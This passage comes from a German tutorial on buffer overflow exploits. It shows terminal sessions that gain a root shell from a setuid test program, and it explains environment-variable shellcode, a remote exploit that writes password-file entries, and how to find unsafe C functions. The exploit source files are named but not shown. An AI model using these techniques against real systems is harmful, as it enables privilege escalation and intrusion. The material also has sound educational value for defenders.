Diesen neu gewonnen Code setzen wir vor den schon bekannten Shellcode und testen alles mit dem schon bekannten Testprogramm.
code15.c
Der neue Exploitcode sieht jetzt folgendermaßen aus:
code16.c
Testen wir den Exploit:
> gcc -o exploit code16.c > ls -la code10 -rwsr-sr-x 1 root root 4588 Jun 12 18:50 code10 > id uid=500(scosh) gid=100(users) groups=100(users) > exploit 600 1100 Genutzte Adresse ist: 0xbffff650 > code10 $KEI sh-2.02$ id uid=0(root) gid=100(users) groups=100(users)
5. Kapitel - Eine neue Möglichkeit einen Exploit zu basteln
Es kann passieren dass der Buffer, den man overflowen möchte, zu klein ist um den Shellcode aufzunehmen, ganz zu schweigen von den führenden nop's. In diesem Fall würde man die Returnadresse mit dem Shellcode überschreiben anstatt mit der Returnadresse.
Um dennoch diese Programme mit Erfolg zu attakieren, muß man sich etwas anderes einfallen lassen. Eine mögliche Lösung liegt in der Benutzung einer Environment Variablen (Umgebungsvariablen). Environment Variablen werden meist allen Programmen mit übergeben, die in der entsprechenden Shell gestartet werden. Sie befinden sich am Anfang des Stacks des gestarteten Programmes.
Man plaziert den Shellcode also in einer solchen Umgebungsvariablen und beschreibt den Overflowbuffer nur noch mit der Returnadresse, die auf den Shellcode in der Umgebungsvariable zeigt.
Diese Methode erhöht auch die Chancen, einen normalen Buffer zum Überlauf zu kriegen, da man den Shellcode in der Umgebungsvariablen ja beliebig groß gestalten kann und somit nicht mehr so genau die Returnadresse raten muß. Das folgende Programm demonstriert diese Methode. Man übergibt ihm drei Argumente:
1. ARG: Größe des Buffers für den Overflow
2. ARG: Offset für Returnadresse
3. ARG: Größe des Shellcodes in der Umgebungsvariablen
In der Variablen $RET liegt der Overflow mit den Returnadressen.
code17.c
Testen wir den neuen Exploit mal mit unserem Problemprogramm.
> code17 1000 1000 4000
Using address: 0xbffff6b0
! $ code10 $RET
sh-2.02# id
uid=0(root) gid=100(users) groups=100(users)
Bestens. ;+)
6. Kapitel - Warum nicht mal remote?
Bis jetzt haben wir nur lokale Bufferoverflows betrachtet, aber warum sollten nicht auch Programme für die Internetkommunikation anfällig für solche Attacken sein? Und sie sind es...
Ein Problem besteht allerdings darin, eine Kommunikation mit diesen Programmen aufzubauen. Man kann nicht mehr so einfach den Shellcode in einer Umgebungsvariablen deponieren, sondern muß ein bißchen Code drumherum bauen, welcher eine Verbindung über TCP/IP mit dem zu attakierenden Programm aufbaut. Auch der Shellcode ist ein anderer, da es in einem solchen Fall meist nicht sinnvoll ist eine Shell zu öffnen. Ein kleiner Code, welcher einen neuen Eintrag in den Passwortdateien plaziert, ist eine klevere Alternative.
Das folgende Programm soll diesen Ansatz demonstrieren. Der Code ist nicht von mir. An dieser Stelle also ein Kniefall vor den Autoren. Meinen Respekt. Man beachte zudem das Datum, der Code ist nicht der neueste.
code18.c
6. Kapitel - Wie findet man Bufferoverflows
Wie schon am Anfang erwähnt, Bufferoverflows sind das Ergebnis wenn man Daten über die Grenze einer lokalen Variable schreibt. Die standard C-Bibliotek bietet mehrere Funktionen an, welche Daten ohne Längenüberprüfung in einen Buffer schreiben. Ein paar Beispielfunktionen: strcat(), strcpy(), sprintf(), vsprintf(), ...
Die Funktionen arbeiten mit nullterminierten Strings und überprüfen nicht, ob die zu kopierenden Daten in den Zielspeicher passen. gets() ist ein weiterer Kandidat. Diese Funktion liest von stdin in einen Speicher, bis ein return (newline) auftritt oder ein EOF im Inputstring auftritt. Auch hier findet keine Überprüfung des Zielspeichers statt.
Sind die Zielspeicher für all diese Funktionen von fester Größe und kann man diese Funktionen von außen ansprechen, so hat man möglicherweise einen Bufferoverflow gefunden.
In einigen Programmen kann man auch folgende Konstruktion finden: In einer while-Schleife werden mit getc(), fgetc() oder getchar() Zeichen eingelesen und in einen Speicher fester Größe kopiert, bis EOL (end of line) oder EOF (end of file) auftritt. Auch diese Art von Code ist angreifbar.
Hat man Zugriff zu den Sourcecodes eines Programmes, kann man mit grep nach solchen Auffälligkeiten suchen.
Sonst gilt, beendet sich ein Programm öfter mal mit einem "Segmentation fault" oder einem "Illegal Instruction", sollte man einen zweiten Blick riskieren.
Scosh